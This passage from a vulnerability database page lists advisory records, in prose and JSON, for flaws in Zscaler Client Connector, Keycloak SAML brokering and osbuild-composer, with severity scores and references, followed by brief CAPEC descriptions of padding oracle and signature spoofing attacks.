  "details": "The Zscaler Updater process does not validate the digital signature of the installer before execution, allowing arbitrary code to be locally executed. This affects Zscaler Client Connector on MacOS \u003c4.2.",
  "id": "GHSA-63rm-c268-28fh",
  "modified": "2024-08-06T18:30:56Z",
  "published": "2024-08-06T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23460"
    },
    {
      "type": "WEB",
      "url": "https://help.zscaler.com/client-connector/client-connector-app-release-summary-2023?applicable_category=macos\u0026applicable_version=4.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-63V5-26VQ-M4VM

Vulnerability from github – Published: 2026-01-26 21:30 – Updated: 2026-03-06 00:31
VLAI
Summary
Keycloak's missing timestamp validation allows attackers to extend SAML response validity periods
Details

A flaw was found in Keycloak's SAML brokering functionality. When Keycloak is configured as a client in a Security Assertion Markup Language (SAML) setup, it fails to validate the NotOnOrAfter timestamp within the SubjectConfirmationData. This allows an attacker to delay the expiration of SAML responses, potentially extending the time a response is considered valid and leading to unexpected session durations or resource consumption.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1190"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-112",
      "CWE-347",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-27T21:56:13Z",
    "nvd_published_at": "2026-01-26T20:16:09Z",
    "severity": "LOW"
  },
  "details": "A flaw was found in Keycloak\u0027s SAML brokering functionality. When Keycloak is configured as a client in a Security Assertion Markup Language (SAML) setup, it fails to validate the `NotOnOrAfter` timestamp within the `SubjectConfirmationData`. This allows an attacker to delay the expiration of SAML responses, potentially extending the time a response is considered valid and leading to unexpected session durations or resource consumption.",
  "id": "GHSA-63v5-26vq-m4vm",
  "modified": "2026-03-06T00:31:28Z",
  "published": "2026-01-26T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1190"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/issues/45646"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3947"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:3948"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-1190"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430835"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keycloak\u0027s missing timestamp validation allows attackers to extend SAML response validity periods"
}

GHSA-64JX-M9PQ-GR8C

Vulnerability from github – Published: 2024-03-19 18:32 – Updated: 2024-05-22 18:30
VLAI
Details

A flaw was found in osbuild-composer. A condition can be triggered that disables GPG verification for package repositories, which can expose the build phase to a Man-in-the-Middle attack, allowing untrusted code to be installed into an image being built.

Severity
6.1 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-2307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-19T17:15:12Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in osbuild-composer. A condition can be triggered that disables GPG verification for package repositories, which can expose the build phase to a Man-in-the-Middle attack, allowing untrusted code to be installed into an image being built.",
  "id": "GHSA-64jx-m9pq-gr8c",
  "modified": "2024-05-22T18:30:39Z",
  "published": "2024-03-19T18:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2307"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2119"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2961"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-2307"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2268513"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

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